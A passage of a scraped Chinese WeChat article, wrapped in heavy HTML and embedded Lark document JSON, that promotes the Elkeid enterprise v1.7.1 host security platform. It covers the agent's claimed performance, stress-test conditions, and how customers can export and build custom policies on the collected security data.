pRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;:{&#34;level&#34;:1},&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.678125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e44493f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCwspYWyAOibyfKDXDb9l2liao19kWcicmEGJ2A9lnmwWLNHBf7D5ngk8IA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><br/></section><ul start="1" class="list-paddingleft-1"><li><p><strong>性能/稳定性</strong></p></li></ul><p>Elkeid 经过<strong>2年</strong>以上<strong>超</strong><strong>百万</strong><strong>台的</strong>多场景装机验证，客户端Agent平均占用CPU使用小于<strong>0.5%单核</strong>，平均内存占用<strong>小于100MB</strong>，可以满足计算、存储、网络分发等多业务场景下严格的性能与稳定性要求。</p><p>在我们的内部压力测试中，Elkeid 展现出了卓越的性能表现，在众多产品横向对比中具有最好的性能和最小的资源占用。</p><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:105,&#34;end&#34;:107,&#34;blockIds&#34;:[121,122,123],&#34;recordIds&#34;:[&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;],&#34;recordMap&#34;:{&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;:{&#34;id&#34;:&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*1*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;性能/稳定性&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;:{&#34;id&#34;:&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:6,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;bold&#34;,&#34;true&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;3&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;db4be50d-5d35-432d-8483-23b2a8e54e3c\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_28256574\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;4&#34;:[&#34;author&#34;,&#34;6948232919697719324&#34;],&#34;5&#34;:[&#34;author&#34;,&#34;6809795057013506049&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+9*0*1+2*2+2*2*1+1*0*1+2*2*1+2*0+8*3*4+3*4+5*0+b*0*1+6*0+7*0*1+7*0+5*2+2*0+1*2+5*5+2*2+2*0+2*2+3*5+2*2+3*5+4*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 经过2年以上超百万台的多场景装机验证，客户端Agent平均占用CPU使用小于0.5%单核，平均内存占用小于100MB，可以满足计算、存储、网络分发等多业务场景下严格的性能与稳定性要求。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;:{&#34;id&#34;:&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;ff573001-859d-4cf0-aa52-a2217fe4cc3e\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_1013\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+6*1*0+4*0+k*2+r&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;在我们的内部压力测试中，Elkeid 展现出了卓越的性能表现，在众多产品横向对比中具有最好的性能和最小的资源占用。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;:{&#34;id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[&#34;doxcnimIyUMwy0KgIMlgBMMqnmg&#34;,&#34;doxcnYWEkWieecwsskRvTNl7KKh&#34;,&#34;doxcnuoeC2gwwicm2Gyx8DyVoAc&#34;,&#34;doxcnismKECwi822Qea1XkQEHHf&#34;,&#34;doxcnEmEE6EYmAw2ewjDhumikHe&#34;,&#34;doxcnUIUIIK68YMeqUfvqDwoS8L&#34;,&#34;doxcnEiYK6uQOMae6QHeZQ2fanf&#34;,&#34;doxcnSM4WaKOAsE6kUV37FxgLKb&#34;,&#34;doxcns46sOECGUIgCgfTCAjRRWh&#34;,&#34;doxcnsoGY6esKsWS2k9VWZkwJbc&#34;,&#34;doxcnSYK8MqS2y2WwQTAiJSsW1c&#34;,&#34;doxcno0m82ooum2UMOoU4hQhVFb&#34;,&#34;doxcnWEmEuqk6umAK6Fku9uTlPb&#34;,&#34;doxcnsYSk4yAuIEG8ELbtQguxcg&#34;,&#34;doxcnS2oywUoi2Cesi02VNinzSh&#34;,&#34;doxcnyE0mkYO6s6Qs8avlDPVepc&#34;,&#34;doxcnsmw4soOAkwesWNe5wFO363&#34;,&#34;doxcnUaIqYkGm2Y0yYBVjSj7UJe&#34;,&#34;doxcngaQUQeqGssEY4PEyanFFjh&#34;,&#34;doxcnamUq82cUUmaaU19HpnlMEg&#34;,&#34;doxcnqScq0gUaMkgoe6aEIrj7Xf&#34;,&#34;doxcnuKikuAUWYq4qwDbPxqXRFd&#34;,&#34;doxcneqUe0eg4OCA0WysAWxrN2c&#34;,&#34;doxcnyQSSCaYGQaISOSgqrTclPe&#34;,&#34;doxcnOce08EW64M68WopStcgi2g&#34;,&#34;doxcnKS66wkuOucYUwrlLG0Pt4B&#34;,&#34;doxcnIA62amaCSYQwism5e5KWwc&#34;,&#34;doxcnUqOiWyyYOCSwSEC41wN0lh&#34;,&#34;doxcnE2gc0IKym4qCgtCCC7bhUc&#34;,&#34;doxcnCeSOsMayCOewc7YhHMC4RH&#34;,&#34;doxcnya6gSq0siugQSOvMvFjUkg&#34;,&#34;doxcnw20MKQEiSMeYUBafjPlFDf&#34;,&#34;doxcn228GgQgEyOKS25ZX1KvPNd&#34;,&#34;doxcnkuU2kiYAGgWI6ZTDJ1ZX6e&#34;,&#34;doxcn6EwQo4SM6MAUS6Ku7HZ9Mb&#34;,&#34;doxcn6yY8QqMMeqaECWHCTAWMbb&#34;,&#34;doxcnGuYQSoeqA6Y8aIpbXph1Dh&#34;,&#34;doxcnGYqYsS0cmCuCGCI0KAEtye&#34;,&#34;doxcn4C0e6WMeuaawstFUL9WwDd&#34;,&#34;doxcnUEKw4uUsiugWqm6ysrKcng&#34;,&#34;doxcnOIukkcykQeSuKMesBiXbtd&#34;,&#34;doxcn2Ss4q8KSKkGos1c18fcuab&#34;,&#34;doxcnOGwcuC2kaoAQKSzFiGqkQe&#34;,&#34;doxcngqckmKSKwkkOWwnP495s7f&#34;,&#34;doxcnu2KuuYuoMEAW6MyckAprph&#34;,&#34;doxcnYQuQIieegmmIczmKPCuaXe&#34;,&#34;doxcnwuwOYWiaeYqOQ3wIzwGDxb&#34;,&#34;doxcnaeAGoUuo2qKwYRFadTnhoe&#34;,&#34;doxcngeI8oaCowU6cE3O2W8XSCg&#34;,&#34;doxcnWs80Osgs84kG6xDkTUXBiw&#34;,&#34;doxcnqAIkIsCi4UKmkGDFcjJxSO&#34;,&#34;doxcnSyYOsQsS6cuEAJHfeoaH0e&#34;,&#34;doxcnYCoUG4gYsMSeIXX0kwrH9b&#34;,&#34;doxcnk8qoUC6CMWSWamMdxsY63d&#34;,&#34;doxcneOmOSeKoq2QWCusI9MiQeY&#34;,&#34;doxcnskAi662Qcu00UV4EulYXug&#34;,&#34;doxcnk4QkQYAeewsQcDIDD4nI3c&#34;,&#34;doxcnQWWAmA0K2G2AUDbp5lJsFf&#34;,&#34;doxcn4WYEqKOmkCWqKoELHTv2Tc&#34;,&#34;doxcnMaM6kqWY4AQYYueGeFQOhb&#34;,&#34;doxcnuEuU2Ma0Qi62knD1IPqbTb&#34;,&#34;doxcniIouugS2smek2tOhjz6Xvd&#34;,&#34;doxcng8aKGogOgAAsAEj5NGlljb&#34;,&#34;doxcn8aegCiWoUGC6Omc5d2gLNh&#34;,&#34;doxcnSQkeOSqqqAqeS4DGhNwUHe&#34;,&#34;doxcnk0cOqgos8kegQdT3EjNKEf&#34;,&#34;doxcngkkekuqMIsskuq349gwq4f&#34;,&#34;doxcnyacaEcGSoaecghSjsVfHZg&#34;,&#34;doxcnIKAA0EKSwiuou625btmqOh&#34;,&#34;doxcnS4aCkYqgwEeeSOfMyqsj5f&#34;,&#34;doxcnw6mQkIMuwYuSYLaAYVlBje&#34;,&#34;doxcnguKAkCWeCUgym28mOdjHmd&#34;,&#34;doxcnGuqQwgkY2yecGB6SlGWK56&#34;,&#34;doxcnckuKWowYIeAa8vDdj4QHod&#34;,&#34;doxcno8M04aE2KOQMK45nEJFqlh&#34;,&#34;doxcneMkIOUY8U6uO475Z0q9hIh&#34;,&#34;doxcnkOUugassuKI6OUhPaVIIVd&#34;,&#34;doxcnAOGiQussWs8wst5jWnjTnd&#34;,&#34;doxcn4M0MSkuy4iKg8XpHNt3nXc&#34;,&#34;doxcnQW6M80m8cAsqu8txyRBmeh&#34;,&#34;doxcnKSYKQW8G8iEoEbpsO10wpf&#34;,&#34;doxcn8Ok20YEUscI4Ih1ZhVYJRf&#34;,&#34;doxcn6yggsECioyKOcdrZDxJfve&#34;,&#34;doxcnK6wG6KmUS2gqULJPgWD0Re&#34;,&#34;doxcnyM06ym60MqOA3vYXTYP4kN&#34;,&#34;doxcnGayaSaugwAqC6xZrw1Qc9b&#34;,&#34;doxcn00ks8kYcKEWKQFZJxA5HLd&#34;,&#34;doxcnEAAyksuWSKEoQDWBPMUvPb&#34;,&#34;doxcnqmw4OUsKkIAkeSLorCrMGg&#34;,&#34;doxcn8wek4Uk0MSu2iIA6qOaCu1&#34;,&#34;doxcnGkqoIuIOUaWgumFTZROXjg&#34;,&#34;doxcniiGsio8k2ySQi0E5YKvLPf&#34;,&#34;doxcnKuSq4WYKGsekSoYupo13yd&#34;,&#34;doxcnaW8QKICAYUGwYNNQctvHNf&#34;,&#34;doxcnm8OQ0IiG64EOqmIIIuKVwf&#34;,&#34;doxcn8E0mUkGKUW62SMQWpQxJld&#34;,&#34;doxcn88yEa0YAAyWMUlOzEjmOVg&#34;,&#34;doxcneQ0COIcKuu6sMvVrc7aqHh&#34;,&#34;doxcnGwC2EuwgKcK8iErEQPvRkc&#34;,&#34;doxcn0KyacsygMCCayWokepIVSU&#34;,&#34;doxcn4qq0A2qGGqUA4j8jax1Pqh&#34;,&#34;doxcnmIkUee2ICGqmyTuxbNIWD5&#34;,&#34;doxcnW4qwKCwS8oOSQx9DPMfL3b&#34;,&#34;doxcnGcyAkMCwMecc9UwLYXmdmj&#34;,&#34;doxcn8AiO0Om6AUKAOYZmCQ2gAd&#34;,&#34;doxcn88qWWYsAMA2guOxuw06ZGf&#34;,&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;,&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;,&#34;doxcnGCuiO2wwmQAmusMd9Oeksh&#34;,&#34;doxcnIYcw8OoaA2cEGiy0KH8Kcb&#34;,&#34;doxcnAiIk6OC82ioWGGkNvWQ79f&#34;,&#34;doxcn0Ww04600kcymmcYouLHWXf&#34;,&#34;doxcnuGugGYcC2kIy0O7yOOiC6c&#34;,&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;,&#34;doxcn4qQCAKOUaeGqolGoYRAuXc&#34;,&#34;doxcnC8au0McQEOkKUJAQTOVksf&#34;,&#34;doxcnem2Was2GWgoa4rSlDkQXGf&#34;,&#34;doxcnsg8geAoomiSUY52o105Dte&#34;,&#34;doxcnouW8IuE82OecwNyPimMiYb&#34;,&#34;doxcnOcGKqiw0KmcmEEVz9kDhHI&#34;,&#34;doxcnYayAWaOSUISwU9DnLVUFwg&#34;,&#34;doxcnQAG4WKck8Eq0KOFuvXcWHg&#34;,&#34;doxcnuGCisiSs4KgcIBn4AbinVb&#34;,&#34;doxcnAWk8M2ASeseW4spZIUadzb&#34;,&#34;doxcnuyqYmoOKgCaccMxEEdamtb&#34;,&#34;doxcnQWSeUiocISOKJCiDp4kZH0&#34;,&#34;doxcn2IWgsIcW0Ys2c1e6IyVrBd&#34;,&#34;doxcnAaWwOykqs2OIfGVcLPpXld&#34;,&#34;doxcn2UI4a8uyqaOccFDrl6J7gh&#34;,&#34;doxcnGY4oIeww0o4SyIb2pS7yLb&#34;,&#34;doxcnqS68K8Qg0uqCsvsOm9qDRh&#34;,&#34;doxcnQug6KisGmM6iQ9wKMsF3Yd&#34;,&#34;doxcnyMSgca84QeWsGg3BNTVFxc&#34;,&#34;doxcnuA4K6s8QU820Jqe5Ff6LzI&#34;,&#34;doxcnU64mwMQmgiQgymCUEotNJg&#34;,&#34;doxcnesoa06Ic4iGOu4hN1ipkif&#34;,&#34;doxcnMyE2W88wcwA0WzBM2oMY6B&#34;,&#34;doxcnOuIUAiwAws44k7H9Tl5uhf&#34;,&#34;doxcnQkWiGSUy6S6eg0PEpRWLqF&#34;,&#34;doxcn66CeY8GQag6021RTPUniPh&#34;,&#34;doxcnGEkKMwAA4skW6YMGzR9Ebh&#34;,&#34;doxcn6GqOcwGKoWwmK4Hxh9RYHt&#34;,&#34;doxcneucsyAOEuweekRe6rSeoic&#34;,&#34;doxcnSkcaAWeIiOQCsH08XMIT5b&#34;,&#34;doxcnWsKEKgeoWk4kcdJrGpvLNg&#34;,&#34;doxcnW2OOIw4iaEk6QkBx0HEtf9&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+m&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 企业版 v1.7.1 正式发布&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnM2g4is2G80yUmmrYPiBkme&#34;:{&#34;level&#34;:1},&#34;doxcne4KkG4Ak6GgwGKD4uvkrcb&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.75078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5c3f67bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVyHNvYtl0BSRu0MgibXVVnkCvoVMh69ohSWrGz6obhzoqEzq3icjYiaj7GuRUj6tianrnlibISg2emG0gg%2F640%3Fwx_fmt%3Dpng"/></p><blockquote data-type="quote_container"><p><em>注1: 图上数字越小性能越好，资源占用越小</em></p></blockquote><blockquote data-type="quote_container"><p><em>注2: 压力测试方式为：</em></p><p><em>120tps的创建文件，文件写入1字节，删除文件；</em></p><p><em>120tps的进程创建，进程退出；</em></p><p><em>120tps的网路连接创建，发送数据，连接关闭。</em></p></blockquote><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">五. </span></strong><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;"></span><span style="font-size: 18px;">完整的数据控</span><span style="font-size: 18px;">制权</span></p><p><br/></p><p><br/></p></section></section></section></section></section><p><br/></p><p>使用者具有完整的 Elkeid 数据权限，用户可以对Elkeid所采集的丰富数据进行进一步的数据挖掘、审计，亦或是进行事件的处理与编排。</p><p>对于 Elkeid Agent 上报的原始数据，可以便捷的导入到自己的分析平台中进行保存或分析，也可以通过 Elkeid HUB 进行自定义策略编写，比如：</p><ul start="1" class="list-paddingleft-1"><li><p>特殊场景下的自定义策略；</p></li></ul><ul start="1" class="list-paddingleft-1"><li><p>接入内部威胁情报API实现对 Elkeid 采集到的 DNS/MD5 等信息进行威胁情报比对，并将结果推送到 Elkeid 告警中进行查看，或推送到内部SOC平台；</p></li></ul><ul start="1" class="list-paddingleft-1"><li><p>接入内部资产数据库（CMDB）追加告警相关资产所属业务信息，并支持在 Elkeid Console 告警中查看追加信息；</p></li><li><p>亦可以通过 Elkeid HUB 进行事件处置等工作，如自动化将告警涉及到的恶意IP推送到 WAF 进行封禁等工作。</p><p><br/></p></li></ul><ul start="1" class="list-paddingleft-1"></ul><p>总之，使用者可以完整自由的使用 Elkeid 产生的全部数据，结合自身场景挖掘数据潜力。可以咨询Elkeid Team 获取更多安全场景的最佳实践。</p><p><br/></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding-right: 24px;padding-left: 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(0, 0, 0);line-height: 42px;" data-mid=""><strong><span style="font-size: 18px;">六. </span></strong><span style="font-size: 18px;">完整的视野，透</span><span style="font-size: 18px;">视整个云环境</span><strong><span style="font-size: 18px;"><br/></span></strong></p><p><br/></p></section></section></section></section></section><p><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;2437f651-effc-4822-8593-afcac3cc3992&#34;,&#34;rootId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;parentId&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;start&#34;:113,&#34;end&#34;:119,&#34;blockIds&#34;:[134,135,136,137,138,139,140],&#34;recordIds&#34;:[&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;doxcnwwAogcSQKwWgo12deM7mWb&#34;,&#34;doxcnWuEeO6Ii2Ewm6YyhMRk00g&#34;,&#34;doxcny4uwWkqaKEgOwl0INTfyyh&#34;],&#34;recordMap&#34;:{&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;:{&#34;id&#34;:&#34;doxcn4k6iWyMq6amSo69JmwMYsC&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;2&#34;:[&#34;author&#34;,&#34;6820931234848342018&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+l*1+j*2+r*1+1&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;使用者具有完整的 Elkeid 数据权限，用户可以对Elkeid所采集的丰富数据进行进一步的数据挖掘、审计，亦或是进行事件的处理与编排。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;:{&#34;id&#34;:&#34;doxcnKyemGSA4y26s8YknN7oHIc&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+26&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;对于 Elkeid Agent 上报的原始数据，可以便捷的导入到自己的分析平台中进行保存或分析，也可以通过 Elkeid HUB 进行自定义策略编写，比如：&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;:{&#34;id&#34;:&#34;doxcnQoMe8uaaWK0IYnE0YVnfKh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:2,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6820927885553975297&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1+8&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;特殊场景下的自定义策略；&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnmuYIesuwKwioK20kzxejud&#34;:{&#34;id&#34;:&#34;doxcnmuYIesuwKwioK20kzxejud&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;bullet&#34;,&#34;parent_id&#34;:&#34;doxcnLFvinfdJMiISa7YO3cRqZc&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6814998237158572033&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:6,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6814998237158572033&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;cd6e713d-24e6-495d-a291-432f10adcfb3\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_1315\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;5b84478e-2d63-4efa-bd95-2d49365cdbc0\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_224\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;3&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;d2253b4f-be6b-4efe-a156-c3e538f22bf4\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_35630522\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;4&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;0be0788e-3810-47b9-986c-91d7d9d5e952\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_264\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;5&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;ddda01b6-2ec8-4bda-805c-c8a80d81f8ae\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_714,enterprise_51325882,enterprise_7050367106231222275\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4*1*0+4*2*0+3*0+g*3*0+3*0+1*4*0+3*0+16*5*0+3*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;接入内部威胁情报API实现对 Elkeid 采集到的 DNS/MD5 等信息进行威胁情报比对，并将结果推送到 Elkeid 